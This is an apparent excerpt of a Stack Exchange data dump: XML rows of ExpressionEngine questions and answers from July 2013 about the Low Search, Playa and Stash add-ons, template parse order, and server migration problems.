  <row Id="11813" PostTypeId="2" ParentId="11724" CreationDate="2013-07-10T03:43:36.800" Score="0" Body="&lt;p&gt;I think Mark Croxton's Switchee plugin might do what you're looking for, but not in that syntax. It'll let you create multiple case statements and also accepts regex patterns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/switchee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-07-10T03:43:36.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11814" PostTypeId="2" ParentId="11598" CreationDate="2013-07-10T03:50:02.577" Score="0" Body="&lt;p&gt;You'll have to use an embed -- OR -- use Mark Croxton's Stash to store the category id in a stash variable before using it somewhere else in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/stash&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-07-10T03:50:02.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11815" PostTypeId="2" ParentId="11553" CreationDate="2013-07-10T03:53:37.293" Score="3" Body="&lt;p&gt;Safecracker only supports channel fields. You'll want to use something like FreeMember, Solspace User, or Zoo Visitor to update member data. (there are a few other addons that also do this, try searching devot-ee for them)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freemember&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/user&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/user&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/zoo-visitor&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-07-10T03:53:37.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11816" PostTypeId="1" AcceptedAnswerId="11818" CreationDate="2013-07-10T03:54:51.220" Score="0" ViewCount="183" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;select multiple=&quot;multiple&quot; name=&quot;range:birthday[]&quot; id=&quot;birthday&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-20 years')).';'.date('Y-m-d', strtotime('-18 years')) ;?&amp;gt;&quot;&amp;gt;18-20&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-25 years')).';'.date('Y-m-d', strtotime('-21 years')) ;?&amp;gt;&quot;&amp;gt;21-25&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-30 years')).';'.date('Y-m-d', strtotime('-26 years')) ;?&amp;gt;&quot;&amp;gt;26-30&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-35 years')).';'.date('Y-m-d', strtotime('-31 years')) ;?&amp;gt;&quot;&amp;gt;31-35&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-40 years')).';'.date('Y-m-d', strtotime('-36 years')) ;?&amp;gt;&quot;&amp;gt;36-40&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo date('Y-m-d', strtotime('-50 years')).';'.date('Y-m-d', strtotime('-41 years')) ;?&amp;gt;&quot;&amp;gt;41-50&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;&amp;lt;?php echo ';'.date('Y-m-d', strtotime('-50 years')) ;?&amp;gt;&quot;&amp;gt;50+&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I choose only one item, it works. But if I choose more than one item, it returns empty result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do a date range (or any range) search in Low Search where multiple ranges are passed?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-10T09:23:12.483" Title="Low Search - Is it possible to do a date range (or any range) search in Low Search where multiple ranges are passed?" Tags="|low-search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11817" PostTypeId="1" CreationDate="2013-07-10T08:17:23.513" Score="1" ViewCount="153" Body="&lt;p&gt;I have an issue where the same template - specifically Playa tag pair - works on one server, but not on another. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just used the Plesk migration manager to move from a Media Temple DV 3.5 to DV 4. Everything about my file system and database is identical, from permissions to templates, EE version, entries etc. My mysql &amp;amp; php versions for each env. are listed at the bottom of this post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The DV4, by default, runs PHP as a FastCGI application, but I have switched to run it as an Apache module, as it is on my previous server (to avoid 'no input file' .htaccess / index.php removal issues, and any others I'm not aware of).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My test template looks like so, on both servers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;  channel=&quot;accommodation&quot; &#xA;  limit=&quot;1&quot;}&#xA;&#xA;  &amp;lt;h1&amp;gt;Entry Title : {title}&amp;lt;/h1&amp;gt;&#xA;&#xA;  &amp;lt;h3&amp;gt;Playa Tag Pair with Line Breaks&amp;lt;/h3&amp;gt;&#xA;&#xA;  {accommodation_locations &#xA;    status=&quot;not Closed&quot;}Playa Entry Title : {title}&amp;lt;br&amp;gt;{/accommodation_locations}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.. but the output is only correct on one of them - the older DV 3.5:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Entry Title : Laughing Waters Guest House&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Playa Tag Pair with Line Breaks&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Playa Entry Title : Panorama Route Playa Entry Title : Kruger National&#xA;  Park Playa Entry Title : South Africa&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and the tags are not parsed on the new DV4 server:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Entry Title : Laughing Waters Guest House&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Playa Tag Pair with Line Breaks&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;{accommodation_locations status=&quot;not Closed&quot;}Playa Entry Title :&#xA;  Laughing Waters Guest House {/accommodation_locations}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This only happens when there are line breaks in the tag pair. Both templates are encoded as UTF-8 and changing the encoding makes no difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server has Nginx running as a reverse proxy in front of Apache, but I have turned this off and it has made no difference.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance very gratefully received, as I would prefer not to have to find a new host. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*The Working DV3.5 Server Environment has PHP Version 5.2.6, MySQL 5.0.45&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*The unparsed tags DV4 Server Environment has PHP Version 5.4.13, MySQL 5.5.30&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both environments have EE version 2.5.5 and the latest Playa 4.4.3, although I have also tried an older version, 4.3.3 - with no change in the results. &lt;/p&gt;&#xA;" OwnerUserId="2953" LastEditorUserId="2953" LastEditDate="2013-07-10T08:26:59.643" LastActivityDate="2013-07-10T08:26:59.643" Title="Server Migration : New Lines in Playa Tag Pair Breaking Templates" Tags="|playa|pixelandtonic|server|server-migration|parse|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11818" PostTypeId="2" ParentId="11816" CreationDate="2013-07-10T09:23:12.483" Score="1" Body="&lt;p&gt;I guess your experiment says enough. No, the range syntax does not support multiple items as parameter values. So &lt;code&gt;range:field=&quot;10;20&quot;&lt;/code&gt; is supported, &lt;code&gt;range:field=&quot;10;20|30;40|50;60&quot;&lt;/code&gt; is not. Will make a note of it as a FR.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-07-10T09:23:12.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11819" PostTypeId="2" ParentId="11809" CreationDate="2013-07-10T09:29:27.370" Score="1" Body="&lt;p&gt;&lt;em&gt;When using the range filters&lt;/em&gt;, Low Search will transform a given date for a date field to a UNIX timestamp, using &lt;a href=&quot;http://php.net/strtotime&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;strtotime()&lt;/code&gt;&lt;/a&gt;, unless an integer is given; then a timestamp is assumed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most dates in EE are stored as UNIX timestamps, which are accurate to the second. When you enter a date without a time, 00:00:00 is assumed as time (standard strtotime behaviour).&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-07-10T09:29:27.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11820" PostTypeId="2" ParentId="11796" CreationDate="2013-07-10T09:31:35.847" Score="1" Body="&lt;p&gt;The problem you're having is that you are setting the value of &lt;code&gt;{image_x}&lt;/code&gt; on each iteration of the channel entries loop, overwriting the value saved in the previous iteration. One approach you could try would be to parse the placeholders in the {blog_body} field immediately after setting the variables in an iteration, and before the whole list is captured:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;bloglist&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;blog&quot; limit=&quot;5&quot;}&#xA;&#xA;        {stash:item_title}{title}{/stash:item_title}&#xA;        {stash:item_entry_id}{entry_id}{/stash:item_entry_id}&#xA;&#xA;        {blog_images}&#xA;            {exp:stash:set name=&quot;image_{row_count}&quot; type=&quot;snippet&quot;}&#xA;                &amp;lt;img src=&quot;{image_file:url}&quot;&amp;gt;&#xA;            {/exp:stash:set}&#xA;        {/blog_images}&#xA;        {exp:stash:parse parse_vars=&quot;yes&quot;}&#xA;            {stash:item_body}{blog_body}{/stash:item_body}&#xA;        {/exp:stash:parse}&#xA;&#xA;    {/exp:channel:entries}  &#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-07-10T09:31:35.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11821" PostTypeId="2" ParentId="11742" CreationDate="2013-07-10T09:44:29.287" Score="1" Body="&lt;p&gt;I would guess that the Low Variables tag pair returns a formatted Playa tag pair to the template, rather than actually parsing the Playa tag itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;{exp:stash:set_list}&lt;/code&gt; has &lt;code&gt;parse_tags=&quot;yes&quot;&lt;/code&gt; set which by default will parse one &quot;shell&quot; of tags inside it (just the outer shell). The first Playa tag pair &lt;code&gt;cf_paper_specific_articles&lt;/code&gt; will have already been &quot;parsed&quot; once (actually, just replaced with a Playa tag pair) by the outer channel entries tag, and so Stash will parse that one without issue. The second Low Vars tag pair will then be parsed by stash, but as it just exposes another shell (the Playa tag) you need Stash to make a second pass with it's parser or it will just try to capture the un-parsed Playa tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: add &lt;code&gt;parse_depth=&quot;2&quot;&lt;/code&gt; to the &lt;code&gt;{exp:stash:set_list}&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-07-10T09:55:25.843" LastActivityDate="2013-07-10T09:55:25.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11822" PostTypeId="1" AcceptedAnswerId="11824" CreationDate="2013-07-10T10:34:57.860" Score="0" ViewCount="59" Body="&lt;p&gt;Using Low Search, is it possible to do fulltext search on a channel entries comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, then how? If not, are there any possible alternative actions one can do to do so?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-10T11:07:16.870" Title="Low Search - Is it possible to do fulltext search on a channel entries comments?" Tags="|low-search|comments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11824" PostTypeId="2" ParentId="11822" CreationDate="2013-07-10T11:07:16.870" Score="1" Body="&lt;p&gt;No. Low Search always returns &lt;strong&gt;entries&lt;/strong&gt;. The search index used for the fulltext search is currently populated with entry data only.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-07-10T11:07:16.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11825" PostTypeId="2" ParentId="11806" CreationDate="2013-07-10T11:24:34.963" Score="2" Body="&lt;p&gt;Store relies on the customer landing on the payment complete/invoice page for the Google Analytics e-commerce tracking to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on which gateway you are using (especially if it is an off-site gateway), some customers might simply close their browser after they see the gateway's &quot;payment complete&quot; page, and not click through to your final invoice URL. If that is the case, there is no way for the orders to be reported to GA.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-07-10T11:24:34.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11826" PostTypeId="1" AcceptedAnswerId="11851" CreationDate="2013-07-10T11:58:49.117" Score="1" ViewCount="915" Body="&lt;p&gt;I have this opening low search result tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;  {if segment_2}query=&quot;{segment_2}&quot;{/if}&#xA;  group_id=&quot;7&quot;&#xA;  limit=&quot;4&quot;&#xA;  paginate=&quot;bottom&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wanted to do more checks on segment_2 before deciding if I should set query param(checking if the segment is for pagination such as P1 or P4).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    {if segment_2 == '' OR {exp:segment_search keyword=&quot;/^P\d+$/&quot; segments=&quot;2&quot; regex=&quot;yes&quot;}}{if:else}query=&quot;{segment_2}&quot;{/if}&#xA;     group_id=&quot;7&quot;&#xA;     limit=&quot;4&quot;&#xA;     paginate=&quot;bottom&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I don't think this will work. I think it has something to do with the parse order where you can't set complex conditionals inside a tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, is there an alternative way to set the query param?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: The reason I am asking is because the code below does not work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {segment_2} == '' OR {exp:segment_search keyword=&quot;/^P\d+$/&quot; segments=&quot;2&quot; regex=&quot;yes&quot;}}&#xA;    {exp:low_search:results&#xA;        {if segment_1 == &quot;foo&quot;}group_id=&quot;6&quot;{/if}&#xA;        {if segment_1 == &quot;bar&quot;}group_id=&quot;7&quot;{/if}&#xA;        limit=&quot;4&quot;&#xA;        paginate=&quot;bottom&quot;}&#xA;{if:else}&#xA;    {exp:low_search:results&#xA;        query=&quot;{segment_2}&quot;&#xA;        {if segment_1 == &quot;foo&quot;}group_id=&quot;6&quot;{/if}&#xA;        {if segment_1 == &quot;bar&quot;}group_id=&quot;7&quot;{/if}&#xA;        limit=&quot;4&quot;&#xA;        paginate=&quot;bottom&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I always get a &lt;code&gt;Parse error: syntax error, unexpected T_ELSE&lt;/code&gt; in the code where I don't set the &lt;code&gt;query&lt;/code&gt; param.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="172" LastEditDate="2013-07-11T09:20:55.447" LastActivityDate="2013-07-11T09:20:55.447" Title="Using conditionals to set tag parameters" Tags="|conditionals|parse-order|advanced-conditionals|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11827" PostTypeId="1" CreationDate="2013-07-10T14:56:08.913" Score="2" ViewCount="99" Body="&lt;p&gt;I upgraded to 4.4.3 from 4.3.3. EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an MSM install where I am relating the content of 1 field on one site to the content of another field on another site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.3.3 works great. Upgrade to 4.4.3 and I get the error: &quot;No entries exist for this related channel.&quot; on the custom field when trying to publish a new entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rolled back to 4.3.3 and I can use Playa in this custom field again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="827" LastActivityDate="2013-08-09T18:07:35.380" Title="Playa 4.4.3 no longer relating to other site" Tags="|playa|pixelandtonic|multi-site-manager|v2.5.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11828" PostTypeId="2" ParentId="11827" CreationDate="2013-07-10T15:00:50.960" Score="2" Body="&lt;p&gt;Further searching in StackExchange found this related post: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9889/playa-4-4-2-msm-no-entries-exist-for-this-related-channel&quot;&gt;Playa 4.4.2 MSM - No entries exist for this related channel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I applied the hack and Playa works for me now.&lt;/p&gt;&#xA;" OwnerUserId="827" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-08-09T18:07:35.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11829" PostTypeId="2" ParentId="11553" CreationDate="2013-07-10T16:14:57.750" Score="1" Body="&lt;p&gt;I would recommend Zoo Visitor as it's set up is the easiest i've seen and the support is very good. I've used it on at least 10 projects and it's up to par.&lt;/p&gt;&#xA;" OwnerUserId="59" LastActivityDate="2013-07-10T16:14:57.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11830" PostTypeId="2" ParentId="11826" CreationDate="2013-07-10T16:55:50.327" Score="2" Body="&lt;p&gt;You problem is you're trying to do a complex conditional within the tag parameters, that's not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a good article regarding parsing conditionals within tags:&#xA;&lt;a href=&quot;http://johndwells.com/blog/expressionengine-parse-order-advanced-conditionals-as-tag-parameters&quot; rel=&quot;nofollow&quot;&gt;http://johndwells.com/blog/expressionengine-parse-order-advanced-conditionals-as-tag-parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you state, the problem is simple conditionals versus complex conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with your second code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {segment_2} == '' OR {exp:segment_search keyword=&quot;/^P\d+$/&quot; segments=&quot;2&quot; regex=&quot;yes&quot;}}&#xA;    {exp:low_search:results&#xA;        {if segment_1 == &quot;foo&quot;}group_id=&quot;6&quot;{/if}&#xA;        {if segment_1 == &quot;bar&quot;}group_id=&quot;7&quot;{/if}&#xA;        limit=&quot;4&quot;&#xA;        paginate=&quot;bottom&quot;}&#xA;{if:else}&#xA;    {exp:low_search:results&#xA;        query=&quot;{segment_2}&quot;&#xA;        {if segment_1 == &quot;foo&quot;}group_id=&quot;6&quot;{/if}&#xA;        {if segment_1 == &quot;bar&quot;}group_id=&quot;7&quot;{/if}&#xA;        limit=&quot;4&quot;&#xA;        paginate=&quot;bottom&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...Is that you won't be able to have the opening tag in a separate conditional to the closing tag - EE parses conditionals at a separate stage to tags. It's not linear (working from top to bottom).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;may&lt;/em&gt; work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {segment_2} == '' OR {exp:segment_search keyword=&quot;/^P\d+$/&quot; segments=&quot;2&quot; regex=&quot;yes&quot;}}&#xA;    {exp:low_search:results&#xA;        {if segment_1 == &quot;foo&quot;}group_id=&quot;6&quot;{/if}&#xA;        {if segment_1 == &quot;bar&quot;}group_id=&quot;7&quot;{/if}&#xA;        limit=&quot;4&quot;&#xA;        paginate=&quot;bottom&quot;}&#xA;&#xA;        {title}&#xA;&#xA;    {/exp:low_search:results}&#xA;{if:else}&#xA;    {exp:low_search:results&#xA;        query=&quot;{segment_2}&quot;&#xA;        {if segment_1 == &quot;foo&quot;}group_id=&quot;6&quot;{/if}&#xA;        {if segment_1 == &quot;bar&quot;}group_id=&quot;7&quot;{/if}&#xA;        limit=&quot;4&quot;&#xA;        paginate=&quot;bottom&quot;}&#xA;&#xA;        {title}&#xA;&#xA;    {/exp:low_search:results}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...Where each tag pair is contained within the same conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an additional problem in your revised conditional that is showing a parse error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {segment_2} == '' OR {exp:segment_search keyword=&quot;/^P\d+$/&quot; segments=&quot;2&quot; regex=&quot;yes&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there is no keyword, that tag will return an empty string, resulting in your conditional looking like this prior to EE parsing it: &lt;code&gt;{if {segment_2} == '' OR }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...Which will result in the parse error.  This is safer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {segment_2} == '' OR '{exp:segment_search keyword=&quot;/^P\d+$/&quot; segments=&quot;2&quot; regex=&quot;yes&quot;}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the quotes, it can be parsed correctly as &lt;code&gt;{if {segment_2} == '' OR ''}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or how I'd approach it, by including in an embed and doing all the conditionals in the parent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {segment_2} == '' OR {exp:segment_search keyword=&quot;/^P\d+$/&quot; segments=&quot;2&quot; regex=&quot;yes&quot;}}&#xA;    {embed=template-group/search-results group_id=&quot;{if segment_1 == &quot;foo&quot;}6{/if}{if segment_1 == &quot;bar&quot;}7{/if}&quot; query=&quot;&quot;}&#xA;{if:else}&#xA;    {embed=template-group/search-results group_id=&quot;{if segment_1 == &quot;foo&quot;}6{/if}{if segment_1 == &quot;bar&quot;}7{/if}&quot; query='query=&quot;{segment_2}&quot;'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the embed template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:low_search:results&#xA;        group_id=&quot;{embed:group_id}&quot;&#xA;        {embed:query}&#xA;        limit=&quot;4&quot;&#xA;        paginate=&quot;bottom&quot;}&#xA;&#xA;        {title}&#xA;&#xA;    {/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: for the first embed, query will be an empty string which is fine to pass as a parameter.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-07-11T08:12:08.270" LastActivityDate="2013-07-11T08:12:08.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11831" PostTypeId="1" AcceptedAnswerId="11832" CreationDate="2013-07-10T17:19:28.167" Score="0" ViewCount="232" Body="&lt;p&gt;Parent channel: consultations&#xA;Has 2 child fields: patients &amp;amp; doctors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on the patient dashboard, accessing the related consultation content using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents entry_id=&quot;{entry_id}&quot; channel=&quot;consultations&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is working fine. Except that I want to grab the name of the doctor assigned to this consultation, so I am trying to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Physician: {cf_consult_doctor}{title}{/cf_consult_doctor}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but its not showing me anything. Can I access data like this, essentially going up from a child to the parent and then down to a different child? I tried using exp:playa:siblings but its within the exp:playa:parents tag which doesn't seem to work.&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2013-07-10T17:37:08.297" Title="Using exp:playa:parents, I'd like to then access content from a different playa field at the parent" Tags="|playa|parent|child|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11832" PostTypeId="2" ParentId="11831" CreationDate="2013-07-10T17:37:08.297" Score="5" Body="&lt;p&gt;You can, you just need to hold Playa’s hand a little so it knows which entries all of those tags belong to. You do that with Playa’s &lt;code&gt;var_prefix&lt;/code&gt; param:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents ... var_prefix=&quot;consultation&quot;}&#xA;  Physician:&#xA;  {consultation:cf_consult_doctor var_prefix=&quot;doctor&quot;}&#xA;    {doctor:title}&#xA;  {/consultation:cf_consult_doctor}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-07-10T17:37:08.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11833" PostTypeId="1" CreationDate="2013-07-10T18:59:52.143" Score="1" ViewCount="686" Body="&lt;p&gt;My site was pointed to an IP without an attached domain. Now that the domain is pointed there, the pages stopped resolving and I get an error 500 message. After some trouble shooting I found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unable to connect to your database server using the provided settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: core/EE_Config.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 207&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which points to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = ee()-&amp;gt;db-&amp;gt;get_where('sites', array('site_id' =&amp;gt; $site_id));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have looked at the database config file and nothing seems wrong. I took out the direct IP links and it now points to the domain. No usernames or passwords changed so any idea on what needs modifying?&lt;/p&gt;&#xA;" OwnerUserId="1758" LastActivityDate="2013-08-10T01:04:39.710" Title="DB Connection Error" Tags="|database|error|domain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11834" PostTypeId="1" CreationDate="2013-07-10T19:58:23.493" Score="0" ViewCount="59" Body="&lt;p&gt;I'm finding CE Image is incredibly slow even with CE Cache and native caching, and so I'm keen to move over to use native image manipulations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, because I use P&amp;amp;T Assets, my clients have added images in sub-folders to keep things organised. That means, when I add new native image manipulations and perform a sync, the sub-folders are effectively ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can add new image manipulations, and have sub-folders processed?&lt;/p&gt;&#xA;" OwnerUserId="1315" LastActivityDate="2013-07-10T19:58:23.493" Title="Sync process new image manipulations in child folders (for use with P&amp;T Assets)" Tags="|assets|ce-image|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11835" PostTypeId="1" CreationDate="2013-07-10T20:30:53.780" Score="1" ViewCount="1029" Body="&lt;p&gt;I am looking to create a list page which will output all entries for a single year, but have them grouped by month. So for example i will have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;January&#xA;   entry A&#xA;   entry b&#xA;   entry c&#xA;February&#xA;   entry d&#xA;   entry e&#xA;   entry f&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc... The perfect solution would be like Lows Alphabet, but working on dates as opposed to starting letters... &lt;a href=&quot;http://devot-ee.com/add-ons/low-alphabet&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/low-alphabet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find any addons, or default functionality for this - and want to avoid running 12 entry queries! Therefore, i either have to code an addon, or php in the template to store and then output them how i want... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of an existing, elegant solution?&#xA;Or can give me guidance here - it would be very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2014-07-30T14:41:00.807" Title="Entries Grouped by month and year" Tags="|channel-entries|entries|groups|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
